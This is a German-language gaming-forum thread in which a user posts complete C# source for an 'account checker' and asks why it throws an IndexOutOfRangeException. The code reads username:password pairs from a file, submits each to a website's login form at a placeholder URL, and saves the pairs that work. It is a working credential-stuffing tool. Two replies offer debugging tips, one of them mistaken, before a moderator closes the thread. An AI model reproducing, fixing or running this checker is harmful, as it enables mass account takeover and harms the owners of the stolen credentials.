Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > .NET Languages
You last visited: Today at 13:20

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Programm wird nicht ausgeführt.

Discussion on Programm wird nicht ausgeführt. within the .NET Languages forum part of the Coders Den category.

Closed Thread
 
Old   #1
 
eMsentryy.'s Avatar
 
elite*gold: 36
The Black Market: 177/0/8
Join Date: Nov 2011
Posts: 2,966
Received Thanks: 279
Programm wird nicht ausgeführt.

Hey, der Account-Checker wird nicht ausgeführt...

Source:
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace ACC_Checker
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Title = "ACC_Checker";

            //Existiert die Datei mit den Accounts?
            if (File.Exists("Accounts.txt"))
            {
                //Accounts einlesen
                Console.WriteLine("Lese accounts ein...");
                List<Account> accounts = new List<Account>();

                using (StreamReader sr = new StreamReader("Accounts.txt"))
                {
                    while (sr.Peek() != -1)
                    {
                        string line = sr.ReadLine();

                        if (line != "")
                        {
                            Account account = new Account();
                            account.id = line.Split(':')[0];
                            account.pw = line.Split(':')[1];
                            accounts.Add(account);
                        }
                    }

                    sr.Close();
                }
                Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);

                //Accounts überprüfen
                Console.WriteLine("Überprüfe accounts...");
                for (int i = 0; i < accounts.Count; i++)
                {
                    try
                    {
                        Console.Write("Überprüfe account mit der ID: {0}", accounts[i].id);
                        string str = string.Format("login={0}&password={1}", accounts[i].id, accounts[i].pw);

                        HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://xxx.com/index.php?s=login");
                        req.Method = "POST";
                        req.ContentType = "application/x-www-form-urlencoded";

                        using (StreamWriter sw = new StreamWriter(req.GetRequestStream()))
                        {
                            sw.Write(str);
                            sw.Close();
                        }

                        HttpWebResponse res = (HttpWebResponse)req.GetResponse();

                        using (StreamReader sr = new StreamReader(res.GetResponseStream()))
                        {
                            string response = sr.ReadToEnd();

                            if (response.Contains("Login erfolgreich"))
                            {
                                Console.ForegroundColor = ConsoleColor.Green;
                                Console.WriteLine(" [OKAY]");
                                using (StreamWriter sw = new StreamWriter("working.txt", true))
                                {
                                    sw.WriteLine("{0}:{1}", accounts[i].id, accounts[i].pw);
                                    sw.Close();
                                }
                            }
                            else
                            {
                                Console.ForegroundColor = ConsoleColor.Red;
                                Console.WriteLine(" [NICHT OKAY]");
                            }

                            sr.Close();
                        }

                        Console.ForegroundColor = ConsoleColor.Gray;
                    }
                    catch (System.Exception ex)
                    {
                        continue;
                    }

                }
            }
            else
            {
                Console.WriteLine("Die Datei Accounts.txt existiert nicht.");
            }

            Console.ReadLine();
        }

        struct Account
        {
            public string id;
            public string pw;
        }
    }
}
Fehler: (Zeile 14 / 33)
IndexOutOfRangeException wurde nicht behandelt.


Ich bekomme es einfach nicht hin.
eMsentryy. is offline  
Old 12/26/2014, 22:05   #2
 
mrapc's Avatar
 
elite*gold: 238
Join Date: Sep 2009
Posts: 2,327
Received Thanks: 1,164
Quote:
for (int i = 0; i < accounts.Count; i++)
Das mit den Counts ist immer so ne Sache wenn ich mich nicht irre ist da eine "+1 Überladung" drin sprich du müsstest -1 rechnen

for (int i = 0; i < accounts.Count - 1; i++)

Muss irgendwo in der Art liegen denn dein Index (hier i) ist höher als die Eigentliche Anzahl...

Es kann aber auch daran liegen das deine Account.txt eine Leerzeile hat bzw nicht jede Zeile ":" drin hat

Account account = new Account();
account.id = line.Split(':')[0];
account.pw = line.Split(':')[1];
accounts.Add(account);

der Split String funktioniert dann nicht mehr...
mrapc is offline  
Old 12/26/2014, 22:19   #3

 
Terreox's Avatar
 
elite*gold: 155
Join Date: Aug 2009
Posts: 628
Received Thanks: 153
Quote:
Originally Posted by mrapc View Post
Das mit den Counts ist immer so ne Sache wenn ich mich nicht irre ist da eine "+1 Überladung" drin sprich du müsstest -1 rechnen

for (int i = 0; i < accounts.Count - 1; i++)

Muss irgendwo in der Art liegen denn dein Index (hier i) ist höher als die Eigentliche Anzahl...
Völliger Quatsch.
Wenn er geschrieben hätte
Code:
for(int i = 0; i <= accounts.Count; i++)
dann hätte es zu einer IndexOutOfBoundsException kommen können.
Da er aber < anstatt <= verwendet, wird der Index nie größer als accounts.Count - 1.

Prädestiniert für diese Exception ist oft der blinde Zugriff auf ein Array, wie z.B. bei deinem Split.
Greife niemals auf ein Array einfach so zu, bei dem du nicht 100% die Struktur kennst bzw. den Inhalt.
Am besten prüfst du den string vorher z.B. mit string.IsNullOrWhitespace() und danach splittest du den string einmal. Das resultierende Array kannst du dann nochmal überprüfen (z.B. ob das Array x Einträge besitzt).
Danach kannst du dann auf die einzelnen Indices zugreifen.
Terreox is offline  
Old 12/27/2014, 00:25   #4

 
snow's Avatar
 
elite*gold: 724
Join Date: Mar 2011
Posts: 10,479
Received Thanks: 3,318


#closed
snow is offline  
Closed Thread


Similar Threads Similar Threads
[C#] Timer wird nicht ausgeführt
09/24/2014 - .NET Languages - 6 Replies
Hi, ich hab ein kleines Problem. Und zwar habe ich ein Bot für das Game OGame geschrieben. Funkioniert auch alles super. Nun habe ich mein Funktionen etc alles in einen separaten Thread gepackt um nicht die GUI zu freezen etc. Von dem Thread aus starte ich einen Timer der dafür verantwortlich ist in einer Progressbar den Fortschritt an zu zeigen. Das klappt auch. Bloß jz will ich den Timer von anderen Methoden aus starten und das funktioniert nicht mehr. Kein exception oder so, bloß der...
Neuz.exe wird nicht ausgeführt!
12/09/2013 - Flyff Private Server - 4 Replies
Ich weiß nicht warum aber es klappt nicht habe jeden Kompatibilitätsmodus ausgeführt usw. 1. Ich starte den patcher per admin und lass ihn fertig patchen. 2. Ich drücke start und es wird nichts ausgeführt nichtmal ein task kein prozess oder sonstwas. Bei jedem Flyff server klappts nur bei diesem nicht (Namen möchte ich nicht nennen). Bitte um hilfe.
Diagnoserichtliniendienst wird nicht ausgeführt , obohl er es eigentlich wird.
08/01/2013 - Technical Support - 10 Replies
Hey epvps, seit neurem habe ich ein kleines Problem mit meinem Wlan (Adapter), und zwar , dass manchmal einfach alle Wlan Netze weg sind (ich denk mal der Wlan Adapter fährt sich selbst runter oder sowas?). Problembehandlung sagt mir dann, der Diagnoserichtliniendienst würde nicht ausgeführt werden, was aber nciht so ist , denn wenn ich bei services.msc auf den Diagnoserichtliniendienst gehe läuft der eigentlich ganz normal. Lösen tue ich das Problem bisher indem ich einfach in der...
[VB] Programm wird zu schnell ausgeführt?
11/12/2012 - .NET Languages - 9 Replies
Hi, da ich noch Anfäger bin in VB hab ich mir einen Dateisortierer gebastelt. Private Sub btn_move_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_sortieren.Click Dim dateipfad As Array Dim dateiname As Array Dim anzahl_dateien As Integer Dim count As Integer
DllMain wird nicht ausgeführt
04/30/2012 - C/C++ - 30 Replies
Hi, hab hier folgendes Problem, will MessageBoxW hooken, allerdings wird scheinbar DllMain nicht mal ausgeführt.. da denke ich jetzt versteh ich das Hooken einmal, dann scheitere ich schon am erstellen einer DLL xD Nach dem Injecten passiert einfach nichts o.0 Habs bei einem selbst erstellten Programm getestet, das in einem Endlosloop MessageBoxW aufruft. Verwende VS2010. Hab Win32 Project -> DLL ausgewählt (mit precompiled header). Hab jetzt echt keine Ahnung an was es scheitert. Bitte...



All times are GMT +1. The time now is 13:21.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.